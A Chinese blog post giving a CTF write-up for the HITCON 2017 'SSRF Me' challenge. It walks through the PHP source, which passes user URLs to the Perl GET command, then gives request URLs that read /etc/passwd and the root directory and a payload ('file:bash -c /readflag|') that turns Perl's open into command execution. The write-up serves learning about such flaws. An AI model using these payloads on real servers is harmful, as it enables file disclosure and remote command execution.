美文网首页
HITCON2017 ssrfme

HITCON2017 ssrfme

作者: gelinlang | 来源:发表于2019-04-10 16:32 被阅读0次

点开得到源代码,大概意思应该是先创建一个目录sandbox/md5(orange+你的ip),然后将传入的url使用GET命令去执行,再在解析filename参数,然后创建一个文件,并且将开始执行后的结果返回到这个文件。思路就是,先传访问一下?url=xx&filename=xxx,然后访问/sandbox/你的md5结果/xxx,看返回的结果。

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 

接下来尝试读取/etc/passwd文件,可以看到读取成功。

http://117.50.3.97:8004/?url=/etc/passwd&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111
图片.png

然后读取根目录,可以看到flag文件和readflag文件。

http://117.50.3.97:8004/?url=/&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111

读取一下flag,读取不到。不慌,先读取readflag文件,下载下来用notepad++打开。看到文件头是ELF,搜索一下这是一个二进制,可执行的文件。也就是需要执行它来读取flag文件。

看了下大佬的wp,emmmm涉及到知识盲区了。
说perl的open命令有可能会导致命令执行,当GET使用file协议的时候就会调用到perl的open函数。payload如下

http://117.50.3.97:8004/?url=file:bash%20-c%20/readflag|&filename=111
http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111
图片.png

相关文章

  • HITCON2017 ssrfme

    点开得到源代码,大概意思应该是先创建一个目录sandbox/md5(orange+你的ip),然后将传入的url使...

  • hitcon2017 BabyFirst Revenge系列

    hitcon2017 BabyFirst Revenge系列 这次hitcon的web出了两个限制字符长度gets...

  • 2017_HITCON-CTF-SSRFme

    题目源码: perl在open当中可以执行命令,如: open(FD, "ls|")或open(FD, "|ls"...

  • HITCON2017 writeup(web)

    国际赛还是水准比较高的,题目都很有通用性 一、BabyFirst Revenge 源码: 五个字符的命令执行,这个...

  • SUCTF复盘

    当时没好好打,现在把环境复现一下对着wp撸一发。 WEB annonymous 这题原思路是HITCON2017的...

  • HITCON2017 babyfirst-revenge&Ba

    HITCON2017的题好难,同时对linux一无所知,这里复现哈,而且这里主要参考wp进行慢慢理解题目,学到了好...

  • [hitcon2017] BabyFirst Revenge复现

    hitcon的题好难啊!!!!!还是太菜了。。Orz只能够赛后搭环境复现了。。分享本题自制Dockerfile:G...

  • [hitcon2017] SSRF Me复现

    分享本题自制Dockerfile:Github 题目给出了源码: 分析源码, 可以得到程序的流程是这样的: 和前面...

  • [hitcon2017] BabyFirst Revenge V

    分享本题自制Dockerfile:Github 这题相比于上一题 条件更加的苛刻了 只允许执行最多四个字符源码如下...

  • 从HITCON2017 babyfirst去研究ls命令

    前几天做了一道HITCON2017的web题目,与朋友交流之后,有了一点思路,奈何最后还是没有成功解出这题。在wr...

网友评论

      本文标题:HITCON2017 ssrfme

      本文链接:https://www.haomeiwen.com/subject/hlxoiqtx.html